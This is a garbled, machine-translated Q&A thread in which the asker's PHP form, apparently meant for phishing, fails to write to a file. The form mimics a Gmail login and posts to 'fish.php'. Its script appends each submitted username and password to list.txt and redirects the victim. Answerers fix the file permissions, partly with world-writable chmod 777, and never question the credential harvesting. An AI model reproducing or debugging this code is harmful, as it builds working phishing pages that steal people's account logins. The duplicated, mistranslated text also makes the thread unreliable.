Php 写入文件,但它';他不在做我的Pi?
我正在尝试使用PHP编写文本文件 我有这张表格Php 写入文件,但它';他不在做我的Pi?,php,linux,Php,Linux,我正在尝试使用PHP编写文本文件 我有这张表格 <form action="fish.php" method="POST"> <p>Gmail Login</p> <input name="gmail1" type="text" /> </br> <p>Password</p> <input name="gmail2" type="password" /> </br> <input
<form action="fish.php" method="POST">
<p>Gmail Login</p> <input name="gmail1" type="text" />
</br>
<p>Password</p> <input name="gmail2" type="password" />
</br>
<input type="submit" name="submit" value="Submit">
</form>
Gmail登录
密码
我还有这个PHP文件
<?php
if(isset($_POST['gmail1']) && isset($_POST['gmail2'])) {
$data = $_POST['gmail1'] . '-' . $_POST['gmail2'] . "\n";
$ret = file_put_contents('list.txt', $data, FILE_APPEND | LOCK_EX);
if($ret === false) {
die('There was an error writing this file');
}
else {
header("Location: index.html");
}
}
else {
die('no post data to process');
}
这很可能是一个文件权限问题
您可以尝试先打开文件(),将其设置为0777
,然后将内容写入其中
这已经在我的服务器上进行了测试和工作
您可能还希望将权限从0777
更改为0644
我还添加了一个if(isset($\u POST['submit'])
条件,以避免过早写入文件
<?php
if(isset($_POST['submit'])){
if(isset($_POST['gmail1']) && isset($_POST['gmail2'])) {
$data = $_POST['gmail1'] . '-' . $_POST['gmail2'] . "\n";
$file = "list.txt";
fopen($file, "r");
chmod ($file, 0777); // change to 0644 if required
$ret = file_put_contents($file, $data, FILE_APPEND | LOCK_EX);
if($ret === false) {
die('There was an error writing this file');
}
else {
header("Location: index.html");
}
}
else {
die('no post data to process');
}
} // for if(isset($_POST['submit']))
?>
这是一个权限错误。如果文本文件位于Pi上,只需右键单击它,然后选择“属性”。然后,转到“权限”点击,使文件对每个人都是可读写的。
这在我的Pi上起了作用:)我猜您没有正确设置PIM上的权限,很可能是您试图写入文件的文件夹上的文件夹权限。如果您不关心此环境的安全性,则可以执行chmod 777/path/to/folder
明确的文件(和/或文件夹)权限问题。另外,我建议您在if(isset($\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
在你最后一次大括号之后。是的,更改权限效果很好!非常感谢大家!@user2882612好消息,不客气。很高兴它成功了。不过,看看我输入的内容,如果你想“随时使用chmod”,它可以为你服务